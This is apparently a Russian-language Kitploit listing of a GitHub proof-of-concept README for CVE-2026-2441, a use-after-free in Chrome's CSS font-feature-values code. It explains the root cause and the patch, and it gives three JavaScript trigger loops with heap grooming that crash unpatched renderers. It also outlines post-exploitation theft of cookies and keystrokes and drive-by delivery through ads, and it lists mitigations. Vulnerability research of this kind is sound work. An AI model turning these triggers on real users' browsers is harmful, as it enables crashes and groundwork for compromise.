Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-2441-PoC — Доказательство концепции для CVE-2026-2441, use-after-free в CSS Chrome, приводящий к RCE в изолированном рендерере. Включает три метода триггера, подготовку кучи и подробный анализ. | Kitploit
Инструменты/GitHubGitHub/d3b0j33t/cve-2026-2441-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и Образование
GitHubd3b0j33t/cve-2026-2441-poc

CVE-2026-2441-PoC

Доказательство концепции для CVE-2026-2441, use-after-free в CSS Chrome, приводящий к RCE в изолированном рендерере. Включает три метода триггера, подготовку кучи и подробный анализ.

Репозиторий
5 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-2441 — Use-After-Free в Chrome CSSFontFeatureValuesMap

CVSS 8.8 (High) | Активно эксплуатируется в дикой природе | RCE в рендерере (в песочнице)

Уязвимость use-after-free в CSS-движке Blink браузера Google Chrome, позволяющая удалённому злоумышленнику выполнить произвольный код внутри песочницы браузера с помощью специально созданной HTML-страницы.

Детали уязвимости

ПолеЗначение
CVECVE-2026-2441
CVSS8.8 (High)
ТипUse-After-Free (CWE-416)
КомпонентBlink CSS — CSSFontFeatureValuesMap
Исходный файлthird_party/blink/renderer/core/css/css_font_feature_values_map.cc
Исправляющий коммит63f3cb4864c64c677cd60c76c8cb49d37d08319c
Автор отчётаShaheen Fazim (2026-02-11)
Дата патча2026-02-13
В дикой природеДа — Google подтвердил активную эксплуатацию

Затронутые версии

ПлатформаУязвимыеИсправленные
Windows / macOS (Stable)< 145.0.7632.75>= 145.0.7632.75
Linux (Stable)< 144.0.7559.75>= 144.0.7559.75
Windows / macOS (Extended Stable)< 144.0.7559.177>= 144.0.7559.177
Браузеры на базе Chromium (Edge, Brave, Opera, Vivaldi)См. рекомендации вендораРазличается

Первопричина

FontFeatureValuesMapIterationSource хранил сырой указатель (const FontFeatureAliases* aliases_) на внутренний HashMap FontFeatureAliases. Когда карта изменяется во время итерации через set() или delete(), HashMap выполняет рехеширование — выделяя новое хранилище и освобождая старое. Сырой указатель становится висячим, и следующий вызов FetchNextItem() читает из освобождённой памяти.

Уязвимый путь выполнения кода

root@kitploit:~
CreateIterationSource()
  → FontFeatureValuesMapIterationSource(map, aliases_)
  → aliases_ = сырой указатель на внутренний HashMap
  → iterator_ = aliases_->begin()

FetchNextItem()
  → читает iterator_->key  (через aliases_)

Если map.set() / map.delete() вызывается между итерациями:
  → HashMap рехешируется (новое выделение, старое освобождено)
  → aliases_ → висячий указатель
  → iterator_ → недействителен
  → Следующий FetchNextItem() → USE-AFTER-FREE

Исправление

root@kitploit:~
- const FontFeatureAliases* aliases_;   // сырой указатель → висячий после рехеширования
+ const FontFeatureAliases aliases_;    // глубокая копия → не подвержена рехешированию

Исправление заменяет сырой указатель на глубокую копию HashMap. Даже если исходная карта рехешируется, итератор работает с собственной копией, что предотвращает висячий указатель.

Proof of Concept

Использование

  1. Откройте poc.html в уязвимой версии Chrome (< 145.0.7632.75)
  2. Страница попытается вызвать UAF тремя различными способами

Ожидаемые результаты

Версия ChromeОжидаемое поведение
< 145.0.7632.75 (без патча)Краш рендерера — STATUS_ACCESS_VIOLATION (Windows) или SIGSEGV (Linux/macOS). Chrome показывает ошибку «Не удалось открыть эту страницу».
>= 145.0.7632.75 (с патчем)Без краша — PoC выполняется до конца, все записи читаются нормально.

Скриншот (непатченный Chrome — краш)

При открытии в уязвимой версии Chrome процесс рендерера падает с STATUS_ACCESS_VIOLATION:

root@kitploit:~
Не удалось открыть эту страницу

Код ошибки: STATUS_ACCESS_VIOLATION

Это подтверждает срабатывание UAF — висячий указатель обращается к освобождённой/неотображённой памяти, что приводит к завершению процесса рендерера.

Как работает PoC

PoC вызывает UAF тремя независимыми способами:

Способ 1: Итератор entries() + цикл мутаций

root@kitploit:~
const iterator = map.entries();
while (step < 20) {
    iterator.next();          // чтение через (теперь висячий) указатель
    map.delete(key);          // запуск рехеширования
    for (i = 0; i < 512; i++)
        map.set("spray_" + i, [i]);  // принудительное перераспределение
}

Способ 2: for...of + параллельная мутация

root@kitploit:~
for (const [k, v] of map) {
    map.delete(k);
    for (i = 0; i < 512; i++)
        map.set("alt_" + i, [i]);
}

Способ 3: requestAnimationFrame + пересчёт макета

root@kitploit:~
function rafTrigger() {
    document.body.offsetWidth;   // принудительный пересчёт макета
    const result = iterator.next();
    map.delete(k);
    for (i = 0; i < 512; i++)
        map.set("raf_" + i, [i]);
    requestAnimationFrame(rafTrigger);
}

Каждый способ также включает подготовку кучи — выделение 50 правил @font-feature-values одинакового размера, чтобы сделать раскладку кучи предсказуемой для потенциальной эксплуатации.

Воздействие

Немедленное (в рамках песочницы)

  • Выполнение произвольного кода внутри песочницы процесса рендерера
  • Раскрытие информации — утечка указателей V8 heap (обход ASLR), чтение содержимого памяти рендерера
  • Кража учётных данных — чтение document.cookie, localStorage, sessionStorage, значений полей форм
  • Угон сессии — кража токенов сессии, эксфильтрация через fetch() / WebSocket / sendBeacon()
  • Манипуляция DOM — внедрение фишинговых форм, изменение содержимого страницы
  • Кейлоггинг — перехват всех нажатий клавиш через addEventListener('keydown')

В цепочке (с побегом из песочницы)

При комбинировании с отдельной уязвимостью побега из песочницы:

root@kitploit:~
RCE в рендерере (CVE-2026-2441)
    → Эксплойт Mojo IPC → RCE в процессе браузера
        → Эксплойт ядра → Полная компрометация системы
            → Установка вредоносного ПО / программ-вымогателей / шпионского ПО
            → Доступ к файловой системе, горизонтальное перемещение, закрепление

Реальные эксплойт-цепочки с использованием аналогичных UAF в браузерах:

  • NSO Pegasus — WebKit UAF + побег из песочницы + эксплойт ядра
  • Intellexa Predator — Chrome UAF + эксплойт ядра Android
  • APT-28 (Fancy Bear) — 0-day в Chrome + цепочка LPE в Windows

Вектор атаки

Эта уязвимость эксплуатируется через drive-by загрузку — не требуется никакого взаимодействия с пользователем, кроме посещения вредоносной страницы:

  • Вредоносная реклама — вредоносные объявления, распространяемые через легитимные рекламные сети
  • Watering hole — компрометация сайта, часто посещаемого целью
  • Целевой фишинг — отправка специально созданной ссылки по электронной почте или в мессенджере

Меры по смягчению

  1. Обновите Chrome до >= 145.0.7632.75 (Windows/macOS) или >= 144.0.7559.75 (Linux)
  2. Обновите браузеры на базе Chromium (Edge, Brave, Opera, Vivaldi), когда появятся патчи от вендоров
  3. Убедитесь, что Site Isolation включена (chrome://flags/#site-isolation-trial-opt-out)
  4. Отслеживайте конечные точки на предмет версий Chrome ниже исправленных сборок

Хронология

ДатаСобытие
2026-02-11Уязвимость сообщена Shaheen Fazim
2026-02-13Google выпускает Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux)
2026-02-13Google подтверждает эксплуатацию в дикой природе
2026-02-16Vivaldi и Opera выпускают исправления

Ссылки

  • Блог релизов Google Chrome
  • NVD — CVE-2026-2441
  • The Hacker News — Chrome Zero-Day Under Active Attack
  • Трекер проблем Chromium (ограниченный доступ)

Поддержка

Если вы считаете это исследование полезным, вы можете угостить меня кофе:

Buy Me A Coffee

Отказ от ответственности

Этот proof of concept предоставлен только для образовательных целей и авторизованных исследований безопасности. Использование этого PoC против систем без явного разрешения незаконно и неэтично. Автор не несёт ответственности за любое неправомерное использование.

Лицензия

MIT

Скачать инструмент